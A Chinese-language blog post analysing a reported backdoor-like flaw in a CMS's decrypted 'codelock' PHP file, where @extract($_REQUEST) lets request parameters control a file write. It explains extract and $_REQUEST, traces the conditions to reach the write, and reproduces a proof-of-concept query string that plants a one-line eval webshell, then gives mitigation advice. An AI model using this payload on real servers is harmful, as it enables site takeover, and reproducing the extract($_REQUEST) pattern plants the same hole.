php web漏洞解读二

在网上看到了一篇有关web漏洞的文章,第三方大多为原文转载,这里做个解读备份。谢谢原作者。

这篇文章的标题为 远丰集团旗下CMS疑有官方后门

暂且不说后门定义是否准确,只看成因。

我下载了作者提供的解密后的代码,文件关键部分如下

if ($codelock_file == '') {
    echo "<font face='verdana' size='2'><br><b>Error!</b> You cannot run codelock directly...</font>";
    die();
} else {}
$codelock_active_key="loveb2bbuilder";
@extract($_REQUEST);
error_reporting(E_ALL ^ E_NOTICE);
if ($codelock_act >= 1) {} else {
    @set_time_limit(240);
}
if ($codelock_enc == "") {
    $codelock_enc="codelock.php";
} else {}
if ($codelock_act >= 1) {
    $codelock_testsize=@filesize($codelock_filed/$codelock_enc);;
    if($codelock_testsize != $codelock_mastersize){
        @chmod("$codelock_filed/$codelock_enc", 0777);
        if (@copy ("$codelock_rfiled/$codelock_enc","$codelock_filed/$codelock_enc")){
        }else{
            echo "$codelock_filed/$codelock_enc";
            $codelock_fp2 = @fopen("$codelock_filed/$codelock_enc", "wb");
            if ($codelock_fp2) {
            } else {
                @unlink($codelock_filed/$codelock_enc);
                $codelock_fp2 = @fopen("$codelock_filed/$codelock_enc", "wb");
            }
            if ($codelock_fp2) {
                @fwrite($codelock_fp2, $codelock_masterdata);
                @fclose($codelock_fp2);
            }
        }
        @chmod("$codelock_enc", 0777);
    }

粗略读过作者的文章之后发现,这是一篇介绍某CMS Getwebshell文章。 问题在把可控参数内容写入了文件中。 那么,就要去寻找它的成因。

开头的位置,作者介绍了,codelock_file 为空, 就会直接exit。因为fwrite在下面的if里, 所以这里就不能让第一个条件为真,这里可以做个记录,继续往下读。

这里用到了 @extract, @可以屏蔽报错,extract是php的一个内置方法,作用是把当前数组的键值对导入到当前符号表中。

其实人家的原话是, 把数组中的变量导入到当前符号表中。 我为什么不说变量说键值对, 这是为了介绍它作用的另外一个内置方法request。我们知道了$_Get $_Post,分别可以接受用户输入的来自get和post类型的数据,request就相当于一个超全局数组, 它可以同时接受get post类型的数据,接受到的数据就是以键值对的形式保存在这个方法所作用的空间内的,格式就是key=>value。key和value对应的其实就是变量名和变量值。 这里就可以理解了,把当前数组中的变量倒入到当前符号表中就是把键值对导入符号表。

那么, 什么是符号表。 符号表是计算机语言术语,它的含义就是数据结构,在这里,当前符号表就是该程序语言的该方法所作用的空间,这里的空间对应的就是程序语言源码所对应的数据结构体。

比如

<?php

print_r($_REQUEST);

输入?a=1

获取到的结果就为 Array ( [a] => 1 ), 就可以证明它是键值对形式保存的。 那么, 再来看一下extract的作用。

<?php

$arr = extract(array('a'=>'1','b'=>'2'));
echo "a:$a";

我直接在echo里输入$a, 就可以直接取到对应的value, 所以事实上这里其实也相当于一个映射的功能。 比如, 我通过request获取到了?file_path=c:\wwwroot\&timeout=3600&token=abc123456 如果我想获取这些变量value, 就得要么对它进行输出或者在代码中定义,当我直接使用extract时,这里就会自动对它们进行注册,需要使用时,直接$key就可以获取到信息,达到简便编程的作用。

那么, 继续往下看,我们知道了,request代表接受所有类型输入,get和post均在此之列,同时作者又说了,写入的两个参数用户均可控制,于是便构成了漏洞。 剩下的就是探寻进入条件的方法,之前咱们知道了, 第一个条件不能让codelock_file为空, 所以,达成条件的第一要素就是找到一个对该参数有赋值的php文件。 作者这里找了一个config文件。

第一条件达成。 第二条件是, codelock_enc如果为空, 就给一个默认写入的文件名, 这里重点是codelock_act大于等于3才会进入到write里,又因为request的缘故,所以这里的所有变量都是可控的,又从开头定义和代码中的定义发现了写入的格式是目录名加文件名和文件内容,所以最后作者构造poc

codelock_filed=.&codelock_mastersize=3&codelock_act=3&codelock_enc=XiaoZe.php&codelock_masterdata=<?php @eval($_POST[X]);?>

解释: 定义路径为当前文件夹下,codelock_mastersize这个是计算的文件大小,这里给了一个大小,codelock_testsize对应的是该文件夹下的该文件大小, 不一致在会最终进入写文件流程, 这里codelock_enc默认是为空的, 也就是0, 所以这个时候mastersize给123都可以其实,简单点说就是判断文件是否存在, 如果存在大小不为0就进行写文件。 换句话说, 如果文件不存在mastersize和testsize就自然检测不到文件大小,那么就相等,然后就会进入大else里的语句,这里为了让它在这里符合条件,就给了一个任意值。 codelock_act条件大于或者等于1才会进入true流程, 这里作者又给了一个任意值,enc定义为了一个新文件名,这里如果不定义就会写入到codelock.php文件, 最后给data变量进行赋值,写入恶意代码。

归根结底,不能信任所有来自client的信息。 这里写入的文件如果是非展示功能文件,可以去除可执行文件权限,后缀名不用可执行文件后缀名。如果需要进行数据展示, 就过滤来自$_request的信息,进行指定类型或者白名单过滤。